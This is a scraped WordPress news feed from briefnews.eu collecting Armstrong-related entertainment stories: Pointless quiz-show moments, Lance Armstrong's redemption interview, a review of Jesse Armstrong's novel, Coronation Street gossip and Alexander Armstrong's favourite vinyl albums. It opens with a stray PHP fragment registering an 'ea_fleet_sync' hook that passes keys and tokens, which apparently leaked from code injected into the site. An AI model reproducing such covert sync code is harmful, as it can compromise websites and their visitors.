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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Armstrong – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 25 Dec 2020 19:37:41 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Armstrong – Brief News https://briefnews.eu 32 32 Michael McIntyre shuts down Alexander Armstrong as he takes over The Wheel ‘Not Pointless’ https://briefnews.eu/michael-mcintyre-shuts-down-alexander-armstrong-as-he-takes-over-the-wheel-not-pointless/ https://briefnews.eu/michael-mcintyre-shuts-down-alexander-armstrong-as-he-takes-over-the-wheel-not-pointless/#respond Fri, 25 Dec 2020 19:37:41 +0000 https://briefnews.eu/michael-mcintyre-shuts-down-alexander-armstrong-as-he-takes-over-the-wheel-not-pointless/

Moving on the host continued: “Okay, the question, on the nativity, for £3,000 is: Which of these events, commonly included in nativity plays, is specifically mentioned in the Bible?”

The possible answers were Mary riding a donkey, Jesus born in a stable, three kings bearing gifts or Angel visiting shepherds.”

“Alexander what do you think?” Oti asked the quiz show host.

The Pointless star remarked: “I’m flummoxed here,” before reading out the question again.

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]]> https://briefnews.eu/michael-mcintyre-shuts-down-alexander-armstrong-as-he-takes-over-the-wheel-not-pointless/feed/ 0 Pointless: Alexander Armstrong SPEECHLESS as Richard Osman takes swipe ‘Annoying’ https://briefnews.eu/pointless-alexander-armstrong-speechless-as-richard-osman-takes-swipe-annoying/ https://briefnews.eu/pointless-alexander-armstrong-speechless-as-richard-osman-takes-swipe-annoying/#respond Sat, 30 Mar 2019 21:06:43 +0000 http://briefnews.eu/pointless-alexander-armstrong-speechless-as-richard-osman-takes-swipe-annoying/

Presenter Alexander Armstrong and his assistant Richard have worked together on Pointless for over a decade now.

The duo are used to teasing each other on the popular BBC series and tonight’s edition was no different, as Richard, 48, launched straight into taking a swipe at his colleague.

Tonight’s episode of Pointless Celebrities was musical theatre-themed, and Alexander, 49, introduced the pairs first of all.

Former Strictly Come Dancing professional dancer Joanne Clifton joined ex-soap star and performer Ray Quinn.

Phantom of the Opera and Jesus Christ Superstar West End star Ben Forster took to the podium alongside Wicked musical favourite Kerry Ellis.

Hannah Waddingham and Jenna Russell made up the third team, while ex-Blue singer Duncan James and Aladdin performer Jade Ewen completed the ranks.

But just as Alexander finished off introducing all of the celebrities and their various skills, Richard turned things back onto him.

“It’s annoying when people can do everything isn’t it,” Richard suddenly commented, staring his co-host down with a sly grin.

Seemingly puzzled by Richard’s thinking, Alexander remained silent.

“It’s almost like if you could sing,” Richard then noted, still trying to goad his co-worker.

The amusing scenes drew plenty of giggles from the audience, but Alexander refused to rise to the bait, simply giving Richard a smile in return.

Meanwhile, viewers were divided over the contestants on the hit programme, with some concerned they didn’t know who the “celebrities” were.

Taking to Twitter, one person asked: “Who are these people on #pointless #celebrities? Particularly #Hannah asking for a friend……”

“Well #pointless celebrities has excelled itself tonight – I’ve never heard of any of these contestants!” another declared.

A third agreed: “Never heard of any of them #pointless.”

Conversely, one viewer shared: “Well look at that. With @Jonnyishh and now @jennarusselluk turns out I know TWO #Pointless finalists.”

“Lovely to see @joanneclifton on @BBCOne #pointless you’re definitely brightening up the usual boring teatime Telly Joanne!!” another wrote.

And fans continued to show their appreciation to producers, as one person praised: “@joanneclifton and @hanwaddingham on the same episode of #pointless?

“Wow @richardosman you really are spoiling us.”

“#pointless I enjoyed that episode a lot – great winners too,” another fan enthused.

Pointless continues Monday on BBC One.

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Pointless Celebrities continued this evening and saw a “TV special”.

The episode included a number of presenters and TV stars who were battling it out for the Pointless trophy, and some money for their charity of choice.

And while Bargain Hunt’s Charlie Ross and his partner Catherine Southon started off doing quite well, it quickly slipped away from them.

During a round where the contestants were tasked with naming the pop stars on screen, Charlie was left a little stumped.

Clueless to the people on screen, he picked out one star with a noticeable feature.

He said: “The next two down – wellI don’t know…

“There’s a chap in the funny hat there, I would say… who puts on funny hats?

“But I might as well say Boy George because that chap in the hat looks rather like him.”

Alexander Armstrong chimed in to reassure Charlie: “It doesn’t matter what you say here you are through… no red line.”

Charlie then locked in his answer and awaited the results.

He willed his answer to be correct, announcing: “It’s going to be Boy George isn’t it?”

He then asked his partner to hold his hand while the results came in, causing a murmuring of laughter from the contestants and the audience.

But he wasn’t ready to listen to laughter at his expense, as he jokingly yelled: “Stop giggling!”

Unfortunately for Charlie his answer was not correct, leaving Alexander to reveal: “It’s not Boy George – which takes you to 112.”

Richard Osman jumped in to poke at Charlie, laughing: “I do hope he’s watching!”

Earlier this week Richard announced the show should end after he asked a contestant a questions.

Speaking to former pop star Jamelia, Richard inquired about her Christmas traditions.

After she gave a thorough explanation the host announced: “Awe, Merry Christmas everybody.

“We should just end the show there because it’s not going to get any more Christmassy than that!”

Pointless continues Saturday at 7pm on BBC One.

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]]> https://briefnews.eu/pointless-celebrities-alexander-armstrong-left-stunned-as-contestant-yells-at-audience/feed/ 0 Lance Armstrong told an incredible story of how he paid all the tabs at a crowded bar after they chanted ‘f— you’ at him https://briefnews.eu/lance-armstrong-told-an-incredible-story-of-how-he-paid-all-the-tabs-at-a-crowded-bar-after-they-chanted-f-you-at-him/ https://briefnews.eu/lance-armstrong-told-an-incredible-story-of-how-he-paid-all-the-tabs-at-a-crowded-bar-after-they-chanted-f-you-at-him/#respond Sat, 28 Jul 2018 19:27:26 +0000 http://briefnews.eu/lance-armstrong-told-an-incredible-story-of-how-he-paid-all-the-tabs-at-a-crowded-bar-after-they-chanted-f-you-at-him/ Lance ArmstrongRebecca Sapp/Getty Images

  • Lance Armstrong sat down for a lengthy interview with Freakonomics Radio.
  • Armstrong admits that he was not contrite during his infamous interview with Oprah Winfrey but that a recent private conversation “rocked [him] to the core.”
  • He also told a great story about how he is no longer combative and even paid for all the tabs at a bar after they chanted “F— you!” at him.

Unlike Alex Rodriguez, the redemption of Lance Armstrong has been a slow and painful process that may never come to fruition, but it does sound like he is finally coming to grips with everything that has happened and is finally contrite.

Armstrong sat down for an hour-long interview on Freakonomics Radio and discussed everything that has happened in the six years since the 7-time Tour de France champion was banned from the sport for life because of doping.

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Pointless fans watched on as the BBC host spoke to contestant Linda, but ended up making a jibe about her looks.

The PA for a water utility company in the Midlands was first asked her opinion on the quiz board and to give a Pointless answer.

Alexander asked: “Linda, what would you like to go for? We’ve got some moderately extreme scores here.”

Linda replied: “Yeah, there’s one I definitely know that’s left and there’s one that I really want to go for, but I’m not sure I’ve go the nerve.”

The show host then tried to give a boost of confidence, saying: “I bet you know it. I bet it’s right.”

Hesitantly, Linda said: “I’m going to say. I’m going to regret this, but I’m going to say South African Formula 1 world champion – Jody Scheckter.”

Alexander repeated her answer, saying: “Jody Scheckter says Linda,” as the contestant confirmed with a “yeah”.

The 48-year-old presenter then said: “Do you know what? You looked like a ventriloquist when you said that.”

Confused, Linda pointed at her face and sighed: “Sorry. That’s the lines.”

Horrified that his words had sounded like an insult, Alexander rushed to explain himself, saying: “No it’s great. No, not like the dummy, you looked like the…”

Embarrassed, the audience chuckled, but luckily Linda laughed it off and jokingly snapped back: “Thanks very much!”

Alexander continued: “You said it… you said it without moving your mouth. It was extraordinary,” prompting Linda to smile: “I know.”

It comes after Richard Osman made a big revelation about the contestants that appear on the BBC One quiz show on yesterday’s show to his co-host Alexander.

The Pointless pair teased how contestants made up of family duos always cause chaos on the show, with Richard confessing they always “fall out very badly”.

Noting the line-up, Richard added the show comprised of groups of friends, saying: “The only returning pair from that show, Gavin an Nick, who are where they should be on podium one.

“It’s quite nice, isn’t it? They did well. They did do very well last time, yeah. They’re going to be tough to beat, I suspect.”

Alexander noted: “And friends, it’s a friends show! We’ve had a lot of parents and children.”

Richard then dropped his “fall out clanger”, adding: “That’s true, that’s nice isn’t it? No family.

“Because quite often when we have family shows they fall out very badly.”

Alexander gasped: “They can! Oh, they can.”

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]]> https://briefnews.eu/pointless-richard-osman-left-red-faced-after-alexander-armstrong-insults-contestant/feed/ 0 REVIEW: Love, Sex & Other Foreign Policy Goals by Jesse Armstrong https://briefnews.eu/review-love-sex-other-foreign-policy-goals-by-jesse-armstrong/ https://briefnews.eu/review-love-sex-other-foreign-policy-goals-by-jesse-armstrong/#respond Thu, 12 Apr 2018 03:20:56 +0000 http://briefnews.eu/review-love-sex-other-foreign-policy-goals-by-jesse-armstrong/

Now Armstrong has written his first novel and in some ways, he’s in familiar territory. The narrator Andrew is a loveable loser who wants to be a good person but finds himself lying and scheming to secure the girl he loves, with amusingly disastrous consequences.

That description makes the book sound like exactly the sort of novels comedians and scriptwriters produce when they turn to writing fiction that is ultimately fairly lightweight. But Armstrong has written something much more interesting.

The book is also a rumination on the thorny moral issues thrown up by war and international politics. It’s set in 1994 and Andrew, an amiable drifter living in Manchester, is horrified by the images of the Bosnian war on television.

He falls in with a group of activists and students who plan to set off across Europe in a Ford Transit van to spread the message of peace by performing an anti-war play in Bosnia.

Quite rightly terrified at the prospect of being shot at, Andrew still decides to accompany them, not least because he has fallen for posh playwright Penny.

Indeed, such is his keenness to beat his love rival Simon to the last place on the van that he claims, entirely falsely, that he can speak Serbo-Croat. So the scene is set for some of the wince-inducing comedy of embarrassment of which Armstrong is a master.

But as the novel progresses, the tone gets darker. Andrew and his friends see the realities of conflict on their tortuous journey across Europe and get into danger themselves.

Andrew comes across as a sort of Adrian Mole with more self-knowledge, fully aware that he is an uneasy mixture of over-earnest do-gooder and self-obsessed man-child. His fellow travellers in the Ford Transit are even more self-important.

For all the fun Armstrong has at their expense, he also conveys his admiration for his characters’ making the choice to travel outside of their comfort zone.

Without the interference of self-regarding people who are trying to feel good about themselves, he implies, the world might be in an even worse state.

That’s both a serious and a very comical idea in keeping with the tone of the whole book. This is a novel that takes comedy out of its comfort zone, too.

And the good news is that the more serious Armstrong gets, the funnier and filthier the jokes become. 

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Ian Puleston-Davies, who played Owen Armstrong in the long-running soap from 2010 to 2015, suggested he could return to Weatherfield.

The actor made no secret of his desire to have one final showdown with Coronation Street  killer Pat Phelan (played by Connor McIntyre).

“People are always asking me when I’m going to go back in and finish him off. I would have liked the two of them to have had a final showdown on the cobbles, a High Noon encounter!” he told TV Times.

“Owen needs to come down from Aberdeen and sort him out once and for all. It could still happen!”

Ian’s alter ego was last seen on screen in 2015 leaving for Scotland after he broke-up with Anna Windass (Debbie Rush).

The soap star revealed that Debbie is yet to forgive him for leaving the hit ITV show.

He said: “She still blames me for leaving and breaking up the family! She loves switching into Anna mode and giving me a good telling off. We became great mates and had such a laugh filming together.”

But Debbie can’t be too upset as she recently quit after serving nine years on the show.

Earlier this week, her character was found guilty of assaulting Seb Franklin (Harry Visinoni) and was sentenced to five years in prison.

In a video, in which, she bid farewell to the show, she said: “It’s been a joyous, joyous job and I’ve loved every minute of it.”

However, she hinted that she may not be leaving the show for good, saying: “I’m hoping that as much as she’s [Anna] dreading prison life it won’t be too bad for her.

“I think that the way that we left the story last night. I’m sure that our wonderful viewers will realise that there’s more to Anna’s mind.

“And that she’s thinking about what she can do, how she can bring him [Pat] down and how she can finally bring the big baddy Phelan to justice. I’m absolutely sure of it.”

Speaking of leaving the soap, she added: “It’s been so hard to walk off the cobbles and leave everyone behind and I’ll miss everything about it.”

Elsewhere on the show, Nicola Rubenstein (Nicola Thorp) and Gary Windass (Mikey North) will team up to expose villainous Pat.

This week, Nicola will convince her father Pat to give Gary a job so they can find out what he is hiding at the old mill.

Coronation Street continues tonight at 7.30pm on ITV.

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]]> https://briefnews.eu/coronation-street-spoilers-owen-armstrong-set-to-return-to-take-down-evil-pat-phelan/feed/ 0 Pointless: Alexander Armstrong reveals they’ve filmed ‘farewell’ show ‘The final goodbye' https://briefnews.eu/pointless-alexander-armstrong-reveals-theyve-filmed-farewell-show-the-final-goodbye/ https://briefnews.eu/pointless-alexander-armstrong-reveals-theyve-filmed-farewell-show-the-final-goodbye/#respond Tue, 23 Jan 2018 02:51:57 +0000 http://briefnews.eu/pointless-alexander-armstrong-reveals-theyve-filmed-farewell-show-the-final-goodbye/

Alexander revealed that they recorded the “final goodbye” show after the first four seasons of the programme.

He said: “At the end of the second series [in 2010]. We were going out at 2.30pm on BBC2 – the lowest-impact slot on TV.

“The first series of 30 did enough for another 30, and that was when Stephen Fry got behind it.

“Still, for the first four seasons we recorded two farewells – one that we were coming back and one that we thought was the final goodbye.”

Despite their apprehension that the quiz show may not succeed, Pointless, which launched in 2009, is now in its 18th season.

Over the years the hit BBC  programme has proven its self as a staple in British television despite fierce competition from other shows.

Speaking to Radio Times  about competing with other television series, Richard said: “When we went to BBC1 we thought it would be the death of us – like, ‘Really? They’ll watch this?’

“We told them we didn’t want to change a single thing for BBC1. Then Pointless Celebrities on Saturday nights – we thought no one would watch.

“We have a tiny budget and we’re competing against The Voice – but again, we just did it the way we’d do it… as amateurishly as possible.”

Pointless hosts Alexander and Richard have often been credited for the success of the BBC show.

Their close friendship and cheeky conversations have captured the hearts of the nation and in turn, made Pointless a firm favourite with viewers at home.

Although Alexander and Richard, both 47, studied together at Cambridge University it wasn’t until later on in life that they formed a friendship.

Now, Alexander says their relationship is “stronger” than ever after working so closely with each other for 10-years.

Pointless is a quiz show which sees two teams compete against each other to provide the correct answerS to general knowledge questions in order to score as few points as possible.

The questions provided are factual in nature and are asked to a panel of 100 individuals in a pre-conducted public survey.

Contestants aim to find the correct answers that were given by as few participants as possible. Answers with no participant are known as “pointless” and are awarded the most points.

Pointless airs today at 5.15pm on BBC One.

Read the full interview with Alexander Armstrong and Richard Osman in Radio Times, out now.

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The moment happened this evening as the presenters introduced viewers to the Christmas celebrity edition of the BBC teatime quiz show.

Comedian, singer and broadcaster Alexander, 47, was heard saying: “There’s only one more person for me to introduce. 

“He’s been officially recognised as by the Guinness Book of Records as the world’s biggest elf, it’s my Pointless friend, it’s Richard.”

Richard, also 47, was quick off the mark and retorted: “I love Christmas. We’ve both dressed up. I’m wearing a Christmas jumper, you’re wearing your Christmas thong. So lovely.” 

Alexander politely smiled at the cheeky comment but didn’t say anything further, however Richard continued to take a swipe as the presenter.

“We’re joined by so many hitmakers, a huge amount of Christmas hits on the show. Not only in the whole show but we’re being played out at the end,” Richard continued mischievously.

He added: “We’ve got a very, very special treat and the very good news is – it’s not Xander! But two of our panel.”

While the studio audience laughed at the joke, again Alexander didn’t look very happy at the ribbing but didn’t respond to the remarks.  

The latest episode of Pointless Celebrities featured a panel of Christmas-related musical celebrities comprising of: The Darkness’ Justin and Dan Hawkins, choirmaster Gareth Malone and chorister Samantha Stevenson, Jimmy Osmond and X Factor winner Ben Haenow, and Mike Batt and Jona Lewie.

It was a tough contest but in the end players Mike and Jona won the Pointless trophy. 

Sadly, they failed to get a Pointless answer in the final round and missed out on the jackpot.

All of the celebrity pairs was given £500 to their chosen charity. 

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]]> https://briefnews.eu/pointless-star-alexander-armstrong-incensed-as-richard-osman-takes-swipe/feed/ 0 Alexander Armstrong celebrates release of In A Winter Light with his top 10 vinyl albums https://briefnews.eu/alexander-armstrong-celebrates-release-of-in-a-winter-light-with-his-top-10-vinyl-albums/ https://briefnews.eu/alexander-armstrong-celebrates-release-of-in-a-winter-light-with-his-top-10-vinyl-albums/#respond Sun, 17 Dec 2017 21:01:40 +0000 http://briefnews.eu/alexander-armstrong-celebrates-release-of-in-a-winter-light-with-his-top-10-vinyl-albums/

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Alexander Armstrong reveals his top 10 vinyl records

On his newly released In A Winter Light, the 47-year-old presenter of quiz show Pointless covers everything from Fleet Foxes’ 2008 White Water Hymnal to There Is No Rose Of Such Virtue, which, he says “is about as old as English church music gets – it’s virtually pagan! We’ve got some lovely old kitsch on there as well”.

The variety of Yuletide sounds reflects Alexander’s restless ear for great music.

But he admits that he gave away his original collection of vinyl to a very lucky Polish man named Pavel.

“My wife was urging me to get rid of it, because we kept moving house and there were so many records,” he explains.

“She said, ‘Come on, just do it quickly’. So I gave them to the builder!” Initially Alex set about downloading the music he lost.

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Alex confesses that he gave his collection away to a Polish man named Pavel

I mean downloads, putting a CD into a slot and pressing ‘play’? I’m just not interested

But then one of the downloads, of David Bowie’s Hunky Dory, omitted a key Rick Wakeman piano line, and another, of the St Matthew Passion, put the whole piece in the wrong order.

“There were recitatives leading into the wrong arias,” wails Alexander, who was a choral scholar in Edinburgh and studied piano at Cambridge.

“It was very upsetting, I don’t mind telling you.” Finally a visit to his friend and comedy partner Ben Miller’s home for lunch, and an afternoon “jumping around” to Ben’s extensive collection of vinyl, persuaded Alex that he’d just have to bite the bullet and replace his original collection…

“I mean downloads, putting a CD into a slot and pressing ‘play’? I’m just not interested. But a record… Everything about it. The weight of it, pulling the vinyl out of the sleeve…”

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Key omissions from David Bowie’s famed ‘Hunky Dory’ turned Alex off of music downloads

Now, in the first of an occasional Sunday Express series, Alex guides us through the Top Ten albums that would make it into his Vinyl Countdown…

1. The Pixies – Doolittle (1989) I left Cambridge with a generation of amazing people who were resolute in wanting to act and write stuff and I got caught up with that, which is why I’m doing what I do.

The first thing we did, on leaving, was put on a play called Killing Him.

It had four of us in it: Will Keen, a brilliant actor who’s in The Crown at the moment, Nicola Walker, who’s in Last Tango In Halifax, Jez Butterworth (theatre playwright) and me.

It was all about Black Wednesday and the pound falling out of the ERM, and Jez suggested using The Pixies as the soundtrack.

It’s kind of punk in a way, trashy punk but, as with even the sweatiest, shoutiest hip-hop, sometimes it has a really sweet kernel to it.

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Alex says the Pixies presented a ‘really sweet kernel’ despite being a punk band

2. Oscar Peterson – We Get Requests (1964) This is a beautiful thing.

My lovely old chum Will Todd, a schoolfriend who is now a choral composer and wrote the anthem for the Queen’s Diamond Jubilee service, turned me on to Oscar Peterson.

Oscar was an enormous man, he was at least the size of one house when he died, but as a pianist his technique is phenomenally intricate and understated, a very Latin style of playing.

3. Prince – Sign o’ The Times (1987) This was the first CD I bought for my Discman and I really did listen.

What I love about this is that, in between the tracks, you have all these hilarious little scenes.

I mean, heaven knows what’s going on in them.

Someone says: “I think I’ll have another one of those…” and you picture someone at a cocktail party picking out a canapé or something.

I loved Let’s Go Crazy but this was the album when I realised Prince was a total genius. It’s so funny.

It’s got so much humour in it, that’s the thing.

The title track, Sign o’ The Times, starts off so low-tech and unpromisingly and then you’re into something operatic and fabulous.

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Prince’s Sign O’ The Times was when Alexander Armstrong realised his genius

4. Prefab Sprout – Steve McQueen (1985) A record I have never stopped listening to since it came out.

Thomas Dolby, the producer, brings this beautiful, textural feel to what is just very sweet, understated rock ’n’ roll.

I was very into The The and Prefab Sprout when I was about 15 or 16, which is kind of the ideal age. You’re at your most absorbent and receptive, I think, at that point and given to long periods of teenage angst.

This is my slightly drab February sort of music.

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Prefab Sprout’s flavour of rock n’ roll is underrated, says Alex

5. David Bowie – Hunky Dory (1971) My parents had a lot of those collections of hits which were not actually sung by the artists themselves.

We had Space Oddity on one of them and I remember being obsessed by it, aged four or five.

The idea of these guys spiralling off and not really knowing where they were.

Even if I think about it now I find it quite upsetting. Eventually I caught up with the real Bowie and this is my favourite.

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The sleeve has all these crossings-out and Bowie in his fantastic, blankety flares.

But he’s selling us such a dummy because what’s inside is so intricate and filigreed.

Life On Mars is the equal of anything on Sergeant Pepper’s.

6. Stevie Wonder – Innervisions (1973) I love this record.

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Stevie Wonder’s Living for the City could have been written by Paul McCartney, says Alex

Living For The City… wonderful.

Also, every time I say this someone threatens to punch me on the nose but He’s Misstra Know-It-All always sounds to me like a song Paul McCartney could have written.

And, of course, they became great pals.

7&8 Tom Waits – Closing Time (1973) and Rain Dogs (1985) Two different flavours of Tom Waits.

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Alex’s two favourite Tom Waits albums show different flavours of the singer

I love his voice enormously.

I love the Asylum label years, when he was a country singer basically – a piano country singer – and wrote these lovely melodies.

I’m guessing he went to Sunday school and learnt slightly Wesleyan hymn tunes.

There’s something “missionary piano” about some of them and that’s part of their charm.

9. Talking Heads – Fear Of Music (1979) David Byrne is actually a sort of philosopher, really.

Heaven is wonderful – “When this party’s is over, it will start again… Heaven is a place where nothing ever happens” – and Life During Wartime.

I’m a big fan of Byrne’s solo stuff too, Rei Momo (1989) is a fabulous album and Grown Backwards (2004) actually has him doing the Pearl Fishers duet with Rufus Wainwright.

It’s compelling and lovely.

10 The Killers – Sam’s Town (2006) What I love about The Killers is unearthing archaeologically lines that have come straight from other records – little homages.

That “Poor old Johnny Ray” line from Dexy’s turns up in one song.

I’ve never seen them live, apart from seeing The T In The Park on the telly, which I pretend is live, and I was once in a dressing room next to Brandon Flowers, at London Studios, and I could hear him practising a rather tricky high line.

That’s not unusual, really: I was once doing a corporate gig where Duran Duran were playing and heard Simon Le Bon doing arpeggios rather beautifully before going on stage… Hilarious!

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